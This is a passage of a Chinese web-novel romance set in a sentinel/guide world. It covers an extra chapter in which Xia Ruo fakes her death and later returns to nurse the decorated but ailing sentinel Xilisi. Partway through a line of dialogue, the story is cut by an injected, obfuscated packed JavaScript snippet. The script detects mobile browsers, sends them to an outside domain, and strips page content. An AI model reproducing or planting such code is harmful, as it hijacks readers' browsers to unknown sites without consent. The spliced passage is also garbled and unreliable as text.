“那我还能涂红色指甲油吗?”她从间隙里艰难地抽出一丝气息。 “你想涂什么涂什么……”不满她这会儿还在想别的事,他的动作又重了些。 夏若最终从那一整面墙的毛绒玩具里选出了一只小狐狸玩偶,在后面每一个希里斯不在的夜里,她都会抱着那只小狐狸入睡。 夏若曾经拥有一只真正的小狐狸,那是她的精神体。 那时候的她被关在地下拍卖池的笼子里,与黑暗、饥饿和虐打整日做伴,只有她的小狐狸陪着她,那是一只红色皮毛的狐狸,和她的头发很相似的颜色。可惜没过多久,他们便将她绑上手术台、做了精神切除手术,她永远失去了它。 希里斯是S级哨兵,尖锐的五感让他受不了任何真正的宠物,实际上即使是毛绒玩具也有点难以接受,但他容忍了夏若的小狐狸,虽然他还是偶尔会幼稚地故意把它踢到床下,让他的狼崽子把它叼走。 对于后面才加入的雇佣兵新人而言,希里斯和夏若的厮守就像是太阳东升西落那样理所应当。 “别在那放屁了詹姆斯,咱们这就下注吧,要是老大能碰别的向导,我把我头拧下来给你当球踢。”薇拉叉着腰,对眼前高大的男性哨兵赌咒发誓,那是她曾经在南边做雇佣兵时吹牛放屁的一贯作风。 也不怪别的雇佣兵起疑,白狼这几年十分反常地接回了几个向导女孩,老大向来不亲自接手货物,流言四起也是正常的。 夏若比希里斯大整整7岁,这一年她已36了,色衰而爱驰,这是大多数人眼里的标准结局。 他们还当真攒局下了注,露娜跟着薇拉一把梭-哈全压了夏姐,最后赢了个盆满钵满。 “我就说,你跟着我压,准赢。”薇拉悄悄数着钱,喜上眉梢:“老大要是都能不爱夏姐了,我直接下催化剂原料池表演蝶泳。” 时间过去得太久,教人忘了长夜不会永恒的持续,最终会有结束的那一天。 所有人都判断错了,希里斯不是那颗遥远的星辰,他是亮烈的太阳,在十一年的蛰伏后,露出无际无垠的灿烂光芒,所有的黑暗与污浊在黎明到来的那一刻灰飞烟灭。 而夏若,那一抹夜色中浅淡的影子,也随着晨曦的到来而消散了。 94. 希里斯番外[番外] 晴丽的阳光从走廊的窗户中涌入,几声啼鸣从繁茂的枝叶中透出,帝国胜利庆典的清晨风和日丽、天朗气清。 希里斯很早就醒了,此时正斜靠在椅子上,任凭妆造团队摆弄着自己。 “少将,您觉得身体怎么样?有没有什么不适?”跟在妆造团队背后的是医疗团队,为他配置的随行医生十分担忧地望着他。 希里斯合着眼,轻轻摇了摇头,这幅度不大的动作让他的大脑又再次嗡鸣了起来,但他还是选择保持沉默,这些天来围在他身边的人已经够多了。 “这是今天早上的药……”他的向导也靠了过来,替他接了杯温水,对着随行医生道:“刚好您也来了,麻烦看看有没有问题。” 毕竟是战争胜利后的第一个重大庆典,所有人都显得格外紧张,尤其是对于他的状态和身体情况。毕竟没有人希望在举国欢庆、女皇亲临、高清摄像头全面环绕的场合,他们的少将会像纸片一样摇摇欲坠、甚至直接坍塌下去。 希里斯只能咬着牙硬挺,哨兵脆弱的听觉扛过了一整天礼乐炮声与欢呼雷鸣,各色的花束与彩带凶猛冲击着他的视觉,等到庆典到了尾声时,他的后背已经出了一层冷汗。 有那么一时半刻,哨兵的五感因为濒临极限甚至陷入了短暂的白茫,眼前的一切变作五光十色的光团,他看不清也听不清。 与此同时,比庆典的礼乐齐鸣声量更大的应该是德蒙特监狱。 “希里斯我*******!!你要下地狱!你不得好死!!”每一个被押往刑场的南方战-犯都这样撕心裂肺地骂着,如果诅咒真的能化为实质伤害,希里斯应该早已千刀万剐、万箭穿心。 整个帝国从南到北、自上而下地感受着真相带来的冲击,毕竟这么些年,南方黑市首领与帝国的头号敌人实在是太深入人心。他将那张假面带在脸上太久,久到几乎与他的血肉长合在了一起、变作了他身体的一部分,他再也无法将它剥离下来。 “既然回来了,就要注意纪律,上尉。”虽然如此,他还是语调严厉地告诫薇拉。 “是,长官。”薇拉挺直身子回应,将那句叫了数年的“老大”硬生生改口、吞咽了下去。 军服改变了女哨兵的气质,她早已不似在南方做雇佣兵时那副吊儿郎当的模样,也不再将下-注和不着边际的玩笑挂在嘴边。 他们从南方卧底回来的军人或多或少都沾染了催化剂,万幸帝国有批量生产的药物供给他们医治,目前薇拉已经度过了第二个戒断阶段,恢复情况不错。 希里斯冷了一天的脸这才松弛了些许,他回到了军区医院的病房,让他的向导将自己捆上。 因为帝国上下无人敢接手这场手术,期限已到的金属夹片只能一直留存在少将的脑袋里。 每一个痛不欲生的夜晚都充斥着寂静,除了希里斯自己要求的口枷之外,他也没有再发出更多的声息。 病房内的哨兵双目血红、脸色苍白、手被反绑在身后,冷汗流瀑一般把床褥与被单淋得湿透,难以忍受的痛苦让他在挣扎中将皮肉磨得鲜血淋漓—— 但说真的,以他这些年手上沾染的血债与罪孽,这都是他自己应得的,希里斯对此认知清醒。 出于对S级哨兵失控的担心,禁制塔派了四队哨兵与向导前来驻守支援,他们在军区医院替他单开了一个区域,至于后续是继续留在军区医院还是送往禁制塔,这还是得看高层的动向。 希里斯是莱安的人,可莱安已辞去了军职,现在整个三军的权力都把持在新任的上将韩奕手里,而韩奕的向导又刚好死在希里斯手上…… 寂静的夜色里,年轻的哨兵与向导们沉默地守卫在病房外,眼前这样的局势连他们的长官穆承安都不敢轻易站队,他们更是不敢发声,只能在沉默中维持现状。 莱安倒是来看过希里斯一次,仍旧还是以前那样的排场,毕竟即使不再是上将,他也还是皇家公会的掌权者、身份尊贵的公爵。 “这是一部分从南方清理出来的你的个人物品。”莱安将一叠清单与照片放到希里斯面前:“我已命人整理好。” “嗯……”希里斯躺在病床上,勉强抬了抬眼睛,他被昨夜的痛苦折磨得太狠,已经没有什么力气回复对方。 “还有一件事,是我以私人名义给你带来的……”公爵紫色的眼眸朝后一望,他身后跟着的哨兵便立即双手捧着盒子递了上来。 那是一个精致的雕花盒子,簇拥着暗金色的天鹅绒软垫,里面放着一个红宝石雕琢的心形胸针,这是希里斯曾经送给夏若的礼物,也是她的遗物。 战后南方所有的资产、药剂、武装资源与宝石都被帝国重新清缴,相当一部分归于了皇室,这个红宝石胸针应该是莱安动用自己的人脉替希里斯拿回来的。 见哨兵没有回应,莱安给了病床旁的向导一个眼神,年轻向导赶紧上前替少将收了下来。 “人都死了,拿石头有什么用……”许久后,陷在病床上的哨兵才低声说道,他仅存的气音低沉暗哑,像是被磨出血来。 “是我对不住你。”莱安罕见的低下头,承认道。 「尾鸦」是他麾下最重要与忠诚的下属,如果没有他,整个赛拉菲尔计划就没有实施下去的可能性,胜利也无法如今日这般顺利的到来,可他无法给与这把利剑任何回馈与奖励—— 健康、荣耀、身份、爱侣、他的灵魂、甚至是他原本应该风光霁月的人生,他已牺牲了自己的一切。 听到风声的主治医生特意赶了过来,将莱安堵在了走廊上。 希里斯要求退役回到泽卡,可他现在的状况实在是不宜挪动,而且南方也没有北方这样优渥的医疗资源,医生知道希里斯是莱安的人,这次终于盼到公爵大人大驾光临,希望他可以给个准话。 “他想要回泽卡,就让他回去吧。”莱安望着窗外的阳光,许久后才回应道。 “公会的战机条件简陋,用我的私人飞机送他。” 希里斯拥有了几天难得的清净,也不知道是不是莱安终于良心发现,那些一直以来折磨着他的喧嚣终于被拦了下来,没有一拨拨人再来打扰他、要他去参与那些莫名其妙的庆典与活动。 那些整理出来的所有个人物品中,只有一样被少将钦点了空运过来,那是一个有些陈旧的小狐狸毛绒玩偶,毛已经有些发白褪色,内里填充的棉花也不再像是以前那样饱满轻盈。 年轻向导轻手轻脚地关上病房的门,他是按照少将的数据优中选优挑选出来的向导,精神力与之十分匹配,因而可以毫不费力地看见少将的精神体。 此时,那个在传言中令人望而生畏的白色巨狼正趴在窗子下,慵懒地享受着午后的阳光。白狼将自己的身子蜷起来,将那个小狐狸玩偶抱在怀里,在睡梦中也无意识地用脑袋蹭着它。 而旁边的病床上,少将已经注射了止痛剂和镇静剂,目前暂时睡着了。 在此之前,他已经被病痛折磨了两个通宵。而且除了脑袋中的金属夹片以外,这些年过量注射的催化剂与严重的戒断反应也在同时侵袭着哨兵的身体,他实在是被关在这副血肉铸就的囚笼中,如同应验所有辱骂他的诅咒一样坠入了地狱。 希里斯已经到了29岁的尾梢,他终于来到了曾经夏若所在的位置,感同身受到了她当时的心情。 他终于觉得累了,他已不再年轻、饱受着病痛折磨,如同一把锈蚀斑驳的刀刃,曾经的不可一世已成为遥远的回忆。 更残忍的是,即使是在药物的作用下昏厥,他也一次都没能梦到她。 昏迷中,白茫的幻境与沉黑的旧梦交织,哨兵的手在虚无中抓紧,可旧日的碎片却如同砂砾一般从他的指缝中遗失。他的身体已近乎麻木,可心脏却仍旧可以破开裂隙,涌出更痛的血与肉来。 战争结束后的天空晴丽明媚、光芒灿烂,他背负了所有的罪孽与血污,最终带回了没有黑暗的世界。 盛世太平,如他所愿,可这个光明的世界,却永远没有了她。 战火后的泽卡在废墟中被重新建立,配上大型的机械与智能设备,这里的重建速度很快。 非法的卖场被逐一清点取代,带有烟火气的闹市重新复苏了过来,像是雨后的小花一般葱茏地盛放。在人影攒动的咖啡店里,向导撑着下颌,望着屏幕上播放的胜利庆典直播。 修长纤细的手指搅弄着热气蒸腾的拿铁,贝壳般的指甲修剪得整洁素净、晶莹剔透,夏若出神地望着屏幕,她素着一张面容,不再有曾经浓烈的妆与红唇,也不再涂抹指甲油。 在屏幕里,希里斯穿着华美的军服正装,与韩奕并肩而坐,是她从未见过的模样。 岁月在十年的时间里没有变动他分毫,眼前的少将制服笔挺、容貌昳丽,被迟来的荣耀与欢呼包围,那层一直以来笼罩在他身上的泥泞与血污终于被洗涤殆尽,他终于回到了原本应有的模样,光辉灿烂、气宇轩昂。 夏若看着眼前英气逼人的军官,就好像是第一次认识他一般,她的手在看不见的地方绞紧,心卑微到了尘埃里。 她曾经触摸到天上的太阳,可是辉煌的阳光却在展露的那一刻将她烧成灰烬。 夏若在静默中感慨自己跑得足够及时,如同每一个S级哨兵一样,战争后期的希里斯状态每况愈下,而且似乎被她不知晓的绝密事件分走了巨大的精力,否则她也实在没有把握从他的眼皮下溜走。 即使夫妻多年,夏若也是到了最后才对希里斯的真实身份产生了怀疑,她在暗中准备好了自己的克隆体,以应对不时之需。等到北方军大举入侵泽卡的当晚,夏若意识到,她等待已久的最佳脱身时刻已经到来,从希里斯清缴德里尔家族直到这一夜,夏若等待了整整八年,她伪造了一场精妙的“死亡”。 这一次,她真的可以从他身边逃脱了。 她承认自己懦弱,她这一生被这么多人欺负,却只敢对希里斯一人还手。她骗他、欺负他,把他一个人留在没有她的世界里。 玻璃门被推开,门口的铃铛发出一声清脆的声响,一位身量颀长的向导坐到了她的对面,可她没有抬眼。 “冰美式,谢谢。”向导点了他的咖啡,明净的阳光在金丝眼镜上流淌,折射进那双深海般的眼眸里。在点完咖啡后,他才将目光收了回来,重新注视着眼前的女人。 “现在的年轻人办事都不太行,还是以前的老人靠得住。”晏泽微眯着眼,语调从容:“多谢夏姐帮忙。” “嗯。”夏若在沉默中短促地应道,即使对方也切除了精神力,可他的身上仍旧弥散着一股若有若无的压迫感。面对眼前逆天改命、用整个南境的资源换来自己与妹妹重生的人,她的那些小谋算实在不值一提。 “你想好了,你曾经贩制的催化剂数量是足够将你送往刑场的。”晏泽抿了一口冰美式,目光平静地注视着她:“你原本已经脱身,也知道了他的真实身份,确定还要以身犯险吗?” “你到底还要不要履行我们的合约。”夏若语调冷硬,没有正面回应。 “好吧。”晏泽搅动着杯里的冰块,面容上却止不住露出笑意:“不过我先说好,我可以把他的金属夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055933|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片取出来,但他的状况延误了太久,我不能保证愈后……” “他会死吗?”夏若的手连同她的心脏一道收紧。 “死不至于,大概33%偏瘫的风险吧。”晏泽公事公办地答道,他又回归到医生的身份里,毕竟南方政-府已经烟消云散,束缚在他身上的枷锁也不复存在了。 “我明白了。”夏若紧抿着唇,晏泽眼底的笑意让她本就焦灼的心如同被火灼烧,她忍无可忍:“你笑什么。” “没什么。”晏泽控制了一下上扬的嘴角:“我妹妹刚刚和我发信息,我要去接她了。” 希里斯在明媚的阳光中睁开眼,不是北方的湛蓝,而是只属于南方的、明丽炽烈的金色。 刚刚挺过一场开颅手术,哨兵痛苦得几欲死去,床单在他的撕扯下发出破碎的嘶鸣,血也从手背的输液管里回流了上去。一道熟悉的向导素悄无声息地贴了上来,玫瑰的馨香将他包围,虽然这股力量微弱到如同晨曦的薄雾,仿佛只要他一松手便将永远失去。 哨兵颤抖着,牙关紧咬地将那股向导素拉紧,冷汗与血水从红透的眼角流下,他却死也不肯松手。 夏若叹了口气,轻轻拍了拍他用力过猛、青筋暴起的手背,试图让回流的药与血重新流回去:“你放松些,我不走。” 她握住他的手,与他十指相扣,哨兵的颤抖轻了一些,她用面巾纸擦了擦他满脸的冷汗,一边擦一边骂他:“早知道有今天,你当年给自己做手术的那股狠劲呢?” “不是替帝国效力吗?他们都不管你吗?” 她像以前一样熟门熟路地骂他,虽然嘴上毫不留情,可手上的动作却仍旧是轻柔的,她轻轻擦着他苍白的脸,呵护着她失而复得又濒临破碎的珍宝。 他们没有不管我,我自己不愿意待在那里而已……希里斯在心里默默吐槽,可是他实在没有力气再和她顶嘴。 直到一个月后,希里斯的状况才逐渐好起来,他已经可以从床上坐起来了,他的头发也生长得很快,仅一个月就快将后脑那道狰狞的疤痕盖住。 “我说少将大人,你是不是一眼就看出来我伪造的‘尸-体’了。”夏若在一旁削着水果,夹枪带棒地奚落着。她还不敢将水果直接喂给希里斯,得打碎加热了和牛奶混合在一起。 “首先,我已经退役了。”希里斯憔悴的面容恢复了一丝血色,他虚弱地笑了笑,指正到:“然后,你‘遗体’的照片拍得太糊,我没有看清楚。” “所以呢,你真的没有怀疑过?”夏若不依不饶。 “有怀疑过,但……”到底还是身体虚弱,希里斯有些气喘,被她扶着重新靠回了床上。 旧日的污浊不复存在,在这个月白风清的世界,她已不必再为了生存委身于任何人,包括他。 “而且……”他用手臂虚虚勾着她的腰,没有多少力气:“我现在只是个退役军人,身体也不好……”他望着她,碧透的眸子从血丝的覆盖中恢复了几许色泽:“你要是不想和我过,就算了……” “你有完没完。”夏若拧着眉,手上的动作重了些,如愿以偿地听到了对方吃痛的闷哼。 顾小绒捧着一杯草莓味的汽水,从漫长的排队中抽出了身子。 新建的泽卡熙熙攘攘,因为艺术展会的临近,最近从全国各地过来的游客很多,现在这里的街道人声鼎沸、热闹非常,再也没有了曾经的冷肃与晦暗。 倒不是她不愿给韩奕买汽水,而是哨兵明确表示了拒绝,她原本还想要加点冰块来着,但是在看到韩奕沉下来的脸后立即果断地选择了常温。 参加了几场展览会,又逛过了老园区改造的艺术公园,顾小绒走得有些累了,她坐回了副驾上,任由韩奕替她仔细地扣好安全带。在照顾她这一块,丈夫越来越体贴,几乎事无巨细。 紫色的夕阳笼罩了城池,顾小绒打开了窗子,任由温暖的风裹挟着花香涌入车内。 车子最后停靠在了泽卡的出入口,刚好是他们第一次做任务时经过的地方,现在这里也依旧车水马龙地排着长队,只是他们已不必再刷白狼统治下用于交易的黑色机械卡了。 他们缓慢地挪到靠近闸机的位置,对面迎面而来的是一辆相当奢华的白色跑车,看车型竟然是黄金时代的绝版,许多人都摇下车窗朝着那辆车拍照,顾小绒也下意识朝着那边望了过去。 随后,一股熟悉的感知涌上心头,仿佛某种心电感应。 只见那辆跑车的副驾撤下了车窗,在那一刻,她与夏若的视线在咫尺之隔的距离里猝不及防地重逢。 尽管已经被纳米面具修改了容貌、长发也染成了低调的棕色,可在望向那双红宝石般的眼眸的瞬间,顾小绒确信自己不可能认错。 夏若似乎也没有想到自己能在这里遇到顾小绒,不过也是,既然晏泽那个混帐都能带着他妹一起活下来,小绒当然也会活下来。 她们在顷刻间明白了这一切,短暂的震惊转化为百感交集,小绒还没有来得及朝对方挥挥手,便看到眼前的车窗升了起来——韩奕冷着一张脸不发一语,几乎同时对面的跑车也升起了窗子,可以想象希里斯如出一辙的臭脸。 他们俩怎么还是这样同步呢,顾小绒拿起来的手讪讪放了回去。 终于等到前面的车辆开走,韩奕毫不犹豫地踩下油门高速离开了,遗憾的是对面跑车的发动机轰鸣更加响亮,上将眼眸深处的不爽加深了。 完蛋,丈夫回去后指定是要疯狂采买跑车了,面对一眼望见的结局,顾小绒无语凝噎。 (番外:血雾迷途 完)